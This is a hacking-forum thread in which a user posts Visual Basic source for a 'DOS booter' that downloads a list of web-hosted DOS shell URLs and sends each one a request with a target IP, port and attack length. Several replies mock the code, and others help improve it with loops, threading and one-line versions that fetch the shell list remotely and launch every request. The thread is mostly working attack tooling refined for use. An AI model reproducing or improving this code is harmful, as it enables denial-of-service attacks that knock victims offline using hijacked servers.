[mc-dope]

hello, i have been working on a DOSS booter program using visual basic that downloads a text file with the a list of links to DOS shells hosted on the web, it then sends out a request to all of them with a custom url with custom info like IP,PORT,TIME depending on what the user has written in the textboxes.

it works by importing the text file then setting a richtextbox text to the imported txt file contents(contents = a DOS shell link per line) then it sets a list of variables to each line of the richtextbox then when the attack button is clicked it sends out requests with the custom info that the user has inputted in the 3 textboxs (IP,PORT,TIME).

the shell formate in the code bellow is:
http//site.com/blah/shell.php?ip=blah&port=blah&length=blah

textfile should be a link to a DOS Shell per line text file should be like:

Code

http//site1.com/blah/shell.php?ip=
http//site2.com/blah/shell.php?ip=
http//site3.com/blah/shell.php?ip=
ect...

Source Code :

(Make the richtextbox invisible/hidden)

Imports :

Code

Imports System.Net
Imports System.Text
Imports System.Net.Sockets

Public Class Code :

Code

Dim GetShells As New WebClient

Form Load Code(When Form Opens) :

Code

RichTextBox1.text = GetShells.DownloadString("https://host.com/blahlbah/list of shells.txt")

Attack Button Code :

Code

ip = TextBox1.Text
port = TextBox2.Text
time = TextBox3.Text

Array.ForEach(RichTextBox1.Lines, Function(l) New Net.WebClient().DownloadString(l & ip & "&port=" & port & "&length=" & time))

[+Haze]

This has to be by far the worst piece of code I've ever seen in this section.

" DOSS booter program" lol just leave pls.

Loops and arrays were made for a reason you know.

[Only3]

haha
loops array
http://www.dotnetperls.com/for-each-vbnet
http://www.java2s.com/Code/VB/Data-Struc...hArray.htm

[M2K]

Instead of criticizing, imma try to help you.
try adding a for loop for your shell listing.
using threading for your web attack

[Only3]

try this
RichTextBox1.Lines = IO.File.ReadAllLines("Shell.txt")
Array.ForEach(RichTextBox1.Lines, Function(l) New Net.WebClient().DownloadString(l & ip & "&port=" & port & "&length=" & time))

[$lick]

Also a little threading wouldn't hurt. (Click to View)

[TheBarret]

Also a little threading wouldn't hurt. (Click to View)

Lazy i think we found our number 3. for the list, dont you think?

[Only3]

Also a little threading wouldn't hurt. (Click to View)

😊 threading ? is it just me or its just not there 😁

[$lick]

Lazy i think we found our number 3. for the list, dont you think?

This thread is a little to much to quote.

I would need to find a really juicy bit.

[+Haze]

Also a little threading wouldn't hurt. (Click to View)

No need to download string in this case since your're not doing anything with the downloaded string. You should just create a webrequest for each shell instead. Just saying..

[$lick]

No need to download string in this case since your're not doing anything with the downloaded string. You should just create a webrequest for each shell instead. Just saying..

Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to)
My intention was not to recode his entire project for him.

The lack of webrequests is not the only thing wrong with the code I posted.

[Cornflower Blue இڿڰۣ-ڰۣ—]

Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to)
My intention was not to recode his entire project for him.

The lack of webrequests is not the only thing wrong with the code I posted.

I noticed you spelled 'com' wrong, you have a U instead of an O.

[+Haze]

Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to)
My intention was not to recode his entire project for him.

The lack of webrequests is not the only thing wrong with the code I posted.

Oooh I see. Fair enough. Something for him to learn from.

[Only3]

if u gona download the list from url u can use it directly

Dim Wc As New Net.WebClient
Array.ForEach(Wc.DownloadString("https://host.com/shells.txt").Split(vbCrLf), Function(l) Wc.UploadString(l & ip & "&port=" & port & "&length=" & time))

[+Haze]

if u gona download the list from url u can use it directly

Dim Wc As New Net.WebClient
Array.ForEach(Wc.DownloadString("https://host.com/shells.txt").Split(vbCrLf), Function(l) Wc.UploadString(l & ip & "&port=" & port & "&length=" & time))

Mate. If OP can't even use a simple For Loop or array. What makes you think he'd understand what you're doing.

You love posting short code, I mean there's nothing wrong with it but just saying. It's not every-time you must post short code. Post something that is readable, I'm not saying I can't read it but you know what I mean.